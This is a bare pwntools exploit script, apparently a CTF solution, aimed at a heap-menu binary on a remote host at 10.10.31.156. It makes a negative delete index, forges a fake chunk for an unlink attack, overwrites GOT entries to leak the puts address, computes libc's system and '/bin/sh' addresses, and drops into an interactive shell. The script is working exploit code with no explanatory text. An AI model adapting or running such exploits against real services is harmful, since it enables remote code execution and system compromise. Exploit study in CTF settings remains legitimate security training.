1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| from pwn import * context(os='linux',arch='amd64',log_level='debug') context.terminal = ['tmux','splitw','-h'] sh = remote("10.10.31.156","10001")
sh.sendafter('$','sy\n') sh.sendafter('$','1\n') sh.sendafter('Input size\n','256\n') sh.sendafter('Input cun\n','0\n') sh.sendafter('Input content','0000\n') sh.sendafter('$','1\n') sh.sendafter('Input size\n','256\n') sh.sendafter('Input cun\n','1\n') sh.sendafter('Input content','1111\n') sh.sendafter('$','2\n') sh.sendafter('Chose one to dele\n','-2\n') sh.sendafter('$','1\n') sh.sendafter('Input size\n','20\n') sh.sendafter('Input cun\n','3\n') sh.sendafter('Input content','3333\n') sh.sendafter('$','3\n') sh.sendafter('Chose one to edit\n','3\n') sh.sendafter('Input the content\n',p32(0x1000)) payload = p64(0x0) + p64(0x100+1)+p64(0x6020c8) + p64(0x6020d0)+b'A'*(0x100-32)+p64(0x100) +p64(0x110) sh.sendafter('$','3\n') sh.sendafter('Chose one to edit\n','0\n') print('**************************************************************send payload fake_chunk1_size and chunk_fake_fd+chunk_fake_bk*********************************************************************************************') sh.sendafter('Input the content\n',payload) sh.sendafter('$','2\n') sh.sendafter('Chose one to dele\n','1\n') puts_got = 0x602020 puts_plt = 0x4006d0 free_got = 0x602018 payload = p64(0x0) * 3 + p64(puts_got) + p64(0x1) + p64(free_got) + p64(0x1)+p64(0x6020e0) + p64(0x1) sh.sendafter('$','3\n') sh.sendafter('Chose one to edit\n','0\n') sh.sendafter('Input the content\n',payload) sh.sendafter('$','3\n') sh.sendafter('Chose one to edit\n','1\n') print('**************************************************************send payload2*********************************************************************************************') sh.sendafter('Input the content\n',p64(puts_plt)) sh.sendafter('$','2\n') sh.sendafter('Chose one to dele\n','0\n') puts_addr = u64(sh.recvline()[:-1].ljust(8,b'\x00')) print(hex(puts_addr)) libc = ELF('libc6_2.23-0ubuntu11.2_amd64.so') base_addr = puts_addr - libc.symbols['puts'] system_addr = base_addr + libc.symbols['system'] bin_sh = base_addr + next(libc.search(b'/bin/sh')) sh.sendafter('$','3\n') sh.sendafter('Chose one to edit\n','1\n') sh.sendafter('Input the content\n',p64(system_addr))
payload =p64(0x1) + p64(0x1) + p64(0x1) + p64(0x1)+p64(bin_sh) + p64(0x1) sh.sendafter('$','3\n') sh.sendafter('Chose one to edit\n','2\n') sh.sendafter('Input the content\n',payload) sh.sendafter('$','2\n') sh.sendafter('Chose one to dele\n','2\n') sh.interactive()
|